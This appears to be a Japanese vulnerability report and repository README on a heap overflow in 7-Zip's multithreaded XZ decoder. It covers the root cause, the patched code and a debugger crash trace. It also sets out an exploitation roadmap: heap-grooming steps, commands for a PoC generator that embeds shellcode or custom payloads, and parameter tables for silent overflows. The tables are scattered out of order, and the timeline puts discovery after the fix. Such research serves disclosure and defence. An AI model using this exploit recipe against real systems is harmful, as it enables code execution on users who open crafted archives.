
7-Zip XZ デコーダー ヒープバッファオーバーフロー - 完全な分析、根本原因、PoC、および RCE 悪用ロードマップ
重大度: Critical | CVSS: 8.8(High)| CWE-122: ヒープベースのバッファオーバーフロー
影響を受けるバージョン: 7-Zip ≤ 26.01 | 修正済み: 7-Zip 26.02(2026-06-25)
発見・分析: Li Yuxuan (liyuxuan504-byte) およびチーム
7-Zip バージョン ≤ 26.01 のマルチスレッド XZ デコードパスには、ヒープバッファオーバーフローが存在します。巧妙に細工された .xz アーカイブにより、ヒープ割り当て済みの出力バッファを超えた領域への書き込み(out-of-bounds write)が発生し、以下のような影響を引き起こす可能性があります:
STATUS_ACCESS_VIOLATION (0xC0000005) による信頼性の高いクラッシュこの脆弱性は C/XzDec.c の MixCoder_Code() に存在し、SingleBuf(outBuf)分岐が LZMA2 デコーダに境界チェックされていない destLen2 を渡し、残存するバッファ容量(outBufSize - outWritten)に対してクランプ(上限抑止)していません。
脆弱な 7-Zip(または 7z.dll)を使用して信頼できない .xz ファイルを展開するシステムやアプリケーションはすべてリスクにさらされます。マルチスレッドパスはマルチコアシステムではデフォルトで有効です。
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← 境界クランプなし
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← dicBufSize を超える可能性
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk ループ: memcpy(dic + dicPos, src, size)
→ dicPos が dicBufSize を超過 → ヒープオーバーフロー
脆弱なバージョン(26.01)— C/XzDec.c のおおよそ L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← 生の値、クランプなし!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← 合計は追跡するがチェックしない
}
修正済み(26.02)— C/XzDec.c のおおよそ L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // データ不整合 → 中止
destLen2 -= p->outWritten; // 残存容量にクランプ!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
修正は3行です。 LZMA2 デコーダに渡す前に destLen2 から p->outWritten(この outBuf に既に書き込まれたバイト数)を差し引くことで、デコーダが割り当て済みバッファを超えて書き込むことを確実に防ぎます。
シングルスレッドパスでは、XzUnpacker_Code は MixCoder_Code を呼び出す前に、独自の unpackSize ベースの rem クランプを適用します。このクランプは出力を正しく制限します。一方、マルチスレッドの SingleBuf パスは、destLenOrig をそのまま渡すため、このクランプをバイパスします。destLen が実際のバッファ残存容量ではなく、入力全体の残りサイズに事前設定されている場合、上流のクランプは効果を発揮しません。
outBuf は ISzAlloc_Alloc(allocMid, unpackSize) を介して CRT ヒープに割り当てられます:
unpackSize | アロケータ | 悪用可能性 |
|---|---|---|
| ≤ 16 KB | LFH(Low Fragmentation Heap) |
最も有望な悪用手順:
unpackSize(256–16384 バイト) を使用して LFH 割り当てを誘発next ポインタを破壊 → 任意割り当てプリミティブを獲得| 機能 | 状態 |
|---|---|
| DoS(クラッシュ) | ✅ 7-Zip 26.00 x64 で信頼性高く確認済み |
| サイレントなヒープオーバーフロー(LFH) | ✅ 確認済み — バッファを超えて書き込み、終了コード2、クラッシュなし |
一般的なデバッガ(x64dbg、WinDbg)はプロセス生成の動作を変更します。デバッガの下では、7z.dll がマルチスレッド XZ パスを読み込まない場合があり、プロセスは脆弱性が発動しないシングルスレッドモードに静かにフォールバックします。そのため、以下のアプローチが必要でした:
tools/ に同梱)を使用poc/poc-cve-2026-14266-rce.py はフル機能の XZ エクスプロイトジェネレータです:
# クラッシュ確認(DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# オフセット発見(サイクリックパターン):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# シェルコードペイロード:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# カスタムバイナリペイロード:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# マルチスレッド(脆弱なパス):
7z.exe x poc.xz -so -mmt=2 > NUL
# シングルスレッド(脆弱ではない — 比較用):
7z.exe x poc.xz -so -mmt=1 > NUL
テスト環境: Windows 11 Pro x64(ビルド 26200)+ 7-Zip 26.00
重要な知見: LFH 範囲(≤16 KB)のすべての割り当てはサイレントオーバーフローを引き起こします。ペイロードデータは即座のクラッシュなしに隣接するヒープオブジェクトに書き込まれます。これは RCE 悪用の前提条件です。
ライブ x64dbg セッション(7-Zip 26.00、MT パス)から:
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy 内部のバイトコピーループ)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(0x40000 バイトの outBuf を 2 バイト超過)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (オーバーフロー開始時点で既に FULL)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ デコード出力コピーループ)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ マルチスレッドデコードエントリ)
← ntdll.dll+0x1D141 (スレッド開始)
C/XzDec.c で修正済み)7z x -mmt=1 <file.xz>0xC0000005 で終了することを監視0xC0000374)を監視unpackSize を超える XZ ブロックを探す├── README.md ← 本レポート
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 の MixCoder_Code() 差分
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC ジェネレータ(サイクリック/シェルコード/生データ)
├── tools/
│ ├── 04-heap-analyze.ps1 ← ヒープレイアウト解析用 x64dbg MCP 自動化
│ ├── 05-mini-debugger.ps1 ← C# Win32 デバッグ API ミニデバッガ
│ └── 06-guard-dump.ps1 ← ガードページヒープダンパー(LFH 解析)
└── docs/
├── 01-crash-point-analysis.md ← ライブクラッシュトレース(x64dbg)
├── 02-vulnerability-root-cause.md ← 根本原因の完全分析
└── 03-rce-exploit-plan.md ← RCE 悪用戦略
本レポートは教育的および防御的なセキュリティ研究のみを目的としています。PoC コードは、セキュリティ研究者や防御担当者が脆弱性を理解し、検知能力を開発するために提供されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対してこのコードを使用しないでください。
| ★ RCE に最適 — 同じバケット内の隣接オブジェクト |
| 16–64 KB | Segment Heap(バックエンド) | 可能性あり — フリーリストの破壊 |
| ≥ 64 KB | VirtualAlloc(ページ境界アライン) | DoS のみ — ガードページがオーバーフローを捕捉 |
| 制御されたペイロード配信 | ✅ LZMA2 copy-chunk データにより完全に制御可能 |
| ヒープレイアウトプリミティブ | ✅ コンセプト実証済み — ターゲットごとのレイアウト調整が必要 |
| 完全な RCE チェーン | ❌ 進行中 — ターゲット上のヒープレイアウト分析が必要 |
| パラメータ | 説明 | 推奨値 |
|---|
--unpack-size | ブロック宣言の unpackSize(= outBuf 割り当てサイズ) | LFH RCE には 256–4096 |
--overflow | outBuf を超えて書き込む合計バイト数 | 4096–32768 |
--chunk-size | LZMA2 copy-chunk データサイズ(1–65535) | unpackSize を均等に割ってはいけません! 素数(97)または --force-align-overflow を使用 |
--payload-cyclic | オフセット発見用のサイクリックパターン | 最初に使用し、その後実際のペイロードに置き換え |
--payload-shellcode | Win x64 WinExec("calc.exe") シェルコードを埋め込み | 約276バイト |
unpackSize | chunk_size | オーバーフロー量 | 結果 |
|---|
| 256 KB (0x40000) | 4096(アライン) | 約32 KB | 0xC0000005 — Access Violation(ガードページ) |
| 256 KB | 3(元の DoS) | 約30 KB | 0xC0000005 — Access Violation |
| 256 KB | 4096 | 約32 KB | 0xC0000374 — Heap Corruption 検出 |
| 256 B | 97 | 約1 KB | 終了コード2 — サイレントオーバーフロー! |
| 4 KB | 97 | 約16 KB | 終了コード2 — サイレントオーバーフロー! |
| 16 KB | 97 | 約32 KB | 終了コード2 — サイレントオーバーフロー! |
| 日付 | イベント |
|---|
| 2026-07-24 | 7-Zip 26.00 で脆弱性を発見・確認 |
| 2026-07-24 | クラッシュ PoC を開発。ライブデバッグでヒープオーバーフローを確認 |
| 2026-07-24 | 根本原因を特定: MixCoder_Code における destLen2 -= outWritten の欠落 |
| 2026-07-24 | LFH 悪用戦略による RCE PoC ジェネレータを開発 |
| 2026-07-25 | 完全な分析レポートを公開 |
| 2026-06-25 | 修正を含む 7-Zip 26.02 をリリース |